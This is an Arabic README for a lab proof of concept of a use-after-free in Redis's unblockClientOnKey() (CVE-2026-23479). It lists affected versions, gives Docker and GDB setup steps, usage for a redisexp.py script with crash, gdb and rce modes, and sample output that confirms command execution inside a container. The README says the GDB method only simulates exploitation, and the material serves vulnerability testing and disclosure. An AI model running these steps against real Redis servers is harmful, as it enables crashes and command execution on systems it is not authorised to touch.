
إثبات مفهوم مع استغلال بمساعدة GDB (للاستخدام التعليمي/المختبري فقط)
Use-After-Free في Redis
unblockClientOnKey()يؤدي إلى تنفيذ تعليمات برمجية عن بُعد
إثبات مفهوم مع استغلال بمساعدة GDB (للاستخدام التعليمي / المختبري فقط)
CVE-2026-23479 هي ثغرة Use‑After‑Free (UAF) حرجة في إصدارات Redis من 7.2.0 حتى 8.6.2.
يقع الخلل في unblockClientOnKey() التي تستدعي processCommandAndResetClient() دون التحقق من قيمة الإرجاع.
إذا تم تحرير العميل أثناء ذلك الاستدعاء (مثلاً بسبب الإخلاء)، يستمر المستدعي في العمل على مؤشر معلّق → UAF.
يمكن للمهاجم القادر على تشكيل الكومة (heap) بعد التحرير أن يحقق تنفيذ تعليمات برمجية عشوائية.
يوفر هذا المستودع إثبات مفهوم بمساعدة GDB يقوم بما يلي:
freeClient())system() في نفس النقطة⚠️ مهم: هذا ليس استغلالاً مسلّحاً. يستخدم GDB داخل حاوية Docker ذات صلاحيات لـ محاكاة ما يمكن لمهاجم حقيقي تحقيقه بعد استغلال الثغرة بنجاح. استخدمه فقط في مختبرك الخاص أو على أنظمة لديك إذن صريح باختبارها.
https://github.com/user-attachments/assets/5ce3aff0-e21c-4ad4-8a0b-50b57bdcf9ea
crash، gdb، rce، full--containerXREAD BLOCK يجعل العميل ينتظر بيانات التدفق.pid 1) داخل الحاوية.processCommandAndResetClient – الدالة التي تُستدعى عند إعادة معالجة العميل المحجوب.XADD على نفس التدفق يوقظ الضحية.gdb: يستدعي freeClient($rdi) → يتسبب عمداً في SIGSEGV → يثبت ثغرة UAF.rce: يستدعي system("your command") → ينفذ أوامر shell عشوائية بصلاحيات مستخدم Redis (root افتراضياً).تُفعَّل نقطة التوقف في كل مرة يتم فيها إلغاء حجب عميل محجوب، مما يُظهر أن نفس مسار الكود الذي يحتوي على ثغرة UAF يسمح أيضاً بتنفيذ التعليمات البرمجية.
| الفرع | النطاق المصاب |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 | 8.6.0 – 8.6.2 |
يقوم السكربت تلقائياً بتحليل إصدار Redis ويُبلّغ عما إذا كان مصاباً.
apt (مثل الصورة الرسمية redis:8.6.2)--privileged (مطلوب لـ ptrace)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # should return PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
| الوضع | الوصف |
|---|---|
crash | محاولة تفعيل ثغرة UAF عبر ضغط الذاكرة (لا يتطلب GDB). قد ينهار Redis، لكن ليس مضموناً. |
gdb | إرفاق GDB واستدعاء freeClient() عند نقطة التوقف → يفرض SIGSEGV (يثبت ثغرة UAF). |
rce | إرفاق GDB واستدعاء system(cmd) عند نقطة التوقف → ينفذ أمر shell داخل الحاوية. |
full | تشغيل crash أولاً؛ إذا لم ينهار Redis، يتم الرجوع إلى gdb. |
| الوسيط | الافتراضي | الوصف |
|---|---|---|
target | (مطلوب) | عنوان IP لخادم Redis |
-p, --port | 6379 | منفذ Redis |
-m, --mode | full | أحد الأوضاع crash، gdb، rce، full |
--container | env-redis-vuln-1 | اسم حاوية Docker |
--cmd | id > /tmp/pwned_by_cve | الأمر المراد تنفيذه في وضع rce |
ملاحظة: جميع الأوامر تُنفَّذ من جهاز المضيف، وليس داخل حاوية Docker.
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
سينهار Redis بعد خطأ التقسيم (segmentation fault).
أعد تشغيل الحاوية:
docker start redis-vuln-local
أعد تشغيل Redis لضمان حالة نظيفة:
docker restart redis-vuln-local
شغّل الاستغلال:
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
تحقق من ملف الإثبات:
docker exec redis-vuln-local ls -l /tmp/pwned
إذا نجح الأمر، سيكون الملف موجوداً، مما يثبت أن:
system("touch /tmp/pwned");
تم تنفيذه داخل حاوية Redis.
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
إذا خرج Redis بشكل غير متوقع (الحاوية لم تعد قيد التشغيل)، فمن المحتمل أن ثغرة UAF قد تم تفعيلها.
أعد تشغيلها باستخدام:
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
هذا الوضع:
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned
[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit
============================================================
Results
============================================================
Target: 127.0.0.1:6379
Version: 8.6.2
Vulnerable: YES
RCE: CONFIRMED (arbitrary command execution)
============================================================
كان إثبات المفهوم الأصلي مبرمجاً بشكل ثابت لحاوية باسم env-redis-vuln-1 واحتوى على عدة مشاكل عند تنفيذه مع إصدارات Python الأحدث.
يقدّم الإصدار المحدّث التحسينات التالية: